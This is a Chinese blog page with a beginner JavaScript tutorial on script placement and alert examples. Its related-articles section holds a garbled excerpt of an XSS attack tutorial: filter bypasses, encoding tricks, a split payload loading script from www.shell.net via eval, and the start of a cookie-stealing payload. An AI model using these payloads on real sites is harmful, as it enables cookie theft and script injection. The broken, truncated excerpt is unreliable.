一些JavaScript的入门知识(javascript入门基础)

boyanx1周前技术教程3


前端开发的核心技术有三项:HTML、CSS和JavaScript。

这三项技术中,HTML和CSS比较简单,JavaScript则相对来说复杂得多。所以,前端工程师的学习时间,大部分都花在JavaScript上。

JavaScript技术除了JavaScript语法外,还包括HTML DOM技术,以及jQuery、Angular JS、React、Node.js、Vue.js等衍生技术,目前在前端开发中,建议掌握JavaScript语法、HTML DOM和Vue.js技术。

本文主要讲解一些JavaScript的入门知识。

1、什么是JavaScript

JavaScript发布时,是一款在WEB浏览器上运行,由事件驱动的、基于对象的脚本语言。

JavaScript不是一种特殊的Java语言,甚至可以说和Java没有关系。JavaScript由网景(Netscape)公司开发,最初的名字叫LiveScript,只是在发布的前一刻,改名为JavaScript,改名的原因就是当时Java语言如火如荼,搭搭Java语言的顺风车,广告而已。

JavaScript发布后,使得完全静态的Java网页,拥有了和用户交互的功能,相当于网页具有了动态效果,因此深受前端程序员的喜爱。目前,JavaScript除了在Web浏览器上运行外,还可以用于服务器开发,Node.js就是将JavaScript用于服务器开发。

2、JavaScript和Java有什么不同

下面罗列了JavaScript与Java的一些不同点:

(1)这两种语言分别是两个不同公司的产品:JavaScript语言由Netscape公司开发,Java语言由SUN公司开发;

(2)JavaScript程序主要在浏览器上运行,Java程序直接在操作系统上运行;

(3)JavaScript程序运行前不需要编译,Java程序在运行前需要编译生成字节码(*.class)文件;

(4)JavaScript是基于对象的程序设计语言,我们可以使用JavaScript对象,开发的JavaScript程序可以不用定义自己的对象;Java是面向对象的程序设计语言,可运行的Java程序必须创建自己的类;

(5)JavaScript是弱类型语言,Java是强类型语言。

3、JavaScript代码可以在<a>元素的href中提供

下面是一个在<a>元素中包含JavaScript代码的HTML文档javascript001.html:

<!DOCTYPE html>
<html>
<head>
<title>javascript001</title>
<meta charset="utf-8" />
</head>
<body>
<a href="javascript:alert('您点击了链接')">通过链接执行JavaScript程序</a>
</body>
</html>

javascript001.html在浏览器中展示效果为:

当点击网页中的“通过链接执行JavaScript程序”链接后,网页上弹出提示信息框:

4、JavaScript代码可以在<script>元素中提供

下面是一个在<script>元素中提供JavaScript代码的HTML文档javascript002.html:

<!DOCTYPE html>
<html>
<head>
<title>javascript002</title>
<meta charset="utf-8" />
<script>
alert("您启动了javascript002.html文件");
</script>
</head>
<body>
<p>一个用于展示JavaScript的例子网页</p>
</body>
</html>

javascript002.html在网页中的展示效果为:

5、<script>元素可以是<head>的子元素,也可以是<body>的子元素

上面的<script>元素放在<head>中,下面是将<script>放到<body>中的HTML文档javascript003.html:

<!DOCTYPE html>
<html>
<head>
<title>javascript003</title>
<meta charset="utf-8" />
</head>
<body>
<p>一个用于展示JavaScript的例子网页</p>
<script>
alert("您启动了javascript003.html文件");
</script>
</body>
</html>

javascript003.html在网页中的展示效果为:

点击“确定”按钮后,网页展示效果为:

可以发现,<script>放在<head>和<body>时,网页展示效果有所差异,后面会详细介绍相关的知识,本文档就不详细描述了。

6、我们可以把JavaScript代码单独保存为js文件,然后在HTML文件的<script>元素中导入该文件

创建一个javascript004.js文件,内容如下:

alert("您启动了javascript004.html文件");

再创建一个javascript004.html文件,内容如下:

<!DOCTYPE html>
<html>
<head>
<title>javascript004</title>
<meta charset="utf-8" />
<script src="javascript004.js">
</script>
</head>
<body>
<p>一个用于展示JavaScript的例子网页</p>
</body>
</html>

javascript004.html在网页中的展示效果为:

点击“确定”按钮后,网页展示效果为:

JavaScript的入门知识先讲到这里,后面会进一步讲述。

相关文章

简析js中的this的指向(js中this.)

回想当初在切图网做前端项目,用到js,经常用到this;那我们就谈谈js中this,如果说你没弄清this指向的问题,那基本可以说js没入门。this指向的问题的文章,上网搜资料能搜一大把,基本上都是...

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符

使用回车截断javascript

使用tab截断javascript

4.1.6 利用过滤器规则

Ript>alert(1)t>

4.2

HTML编码

HTML标签中的某些属性值可以使用&#ASCII方式进行编码:

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

aaaa

4.3

Javascript编码

js提供了 3 种字符编码的策略:

· jsunicode编码,例如“e”编码为“\u0065”

· js十六进制,例如“e”编码为“\x65”

· js八进制,例如“e”编码为“\145”

4.4

跨站拆分法

安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。

幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。

上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。

document.write(' src=//www.shell.net/1.js>')

然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。

05

XSS漏洞利用

点击添加图片描述(最多60个字)

5.1

窃取Cookie

点击添加图片描述(最多60个字)

5.1.1 读取Cookie

直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。

点击添加图片描述(最多60个字)

5.1.2 发送Cookie

5.1.2.1 利用img标签(最常用)

只需将alert(1)替换为以下Payload:

var img=document.createElement("img" alt="跨站脚本攻击(四)(跨站脚本攻击有哪些)">

跨站脚本攻击(四)(跨站脚本攻击有哪些)

04XSS漏洞挖掘技巧4.1常见的绕过姿势实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能...

极客Web前端开发资源大荟萃#019(极客代码)

以下为本周的推荐的优质代码,非常漂亮实用。快来学习一下吧,以后工作遇到这样的需求 再也不用担心不会啦~酷炫的拖拽关闭弹出框的效果通过dynamics模拟物理动画库和draggabilly拖拽库实现的超...

计算追随者们对所有任务完成程度的计算器

[followerBest]以不变应万变,计算追随者们对所有任务的完成程度的计算器,很久很久以前...说远了随着要塞的不断推进,当我手中的追随者超过25个时,遇到了人生的一次抉择,嗯,把谁遣散掉。在那...

网站建设:从新手到高手(网站建设技巧)

现代化网站应用领域非常广泛,从个人形象网站展示、企业商业网站运作、到政府公益等服务网站,各行各业都需要网站建设。大体上可以归结四类:宣传型网站设计、产品型网站制作、电子商务型网站建设、定制型功能网站开...

JavaScript 事件冒泡--如何阻止点击事件

<div class="subcategories">这里有点击事件</div> <div class="subcategories"&g...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。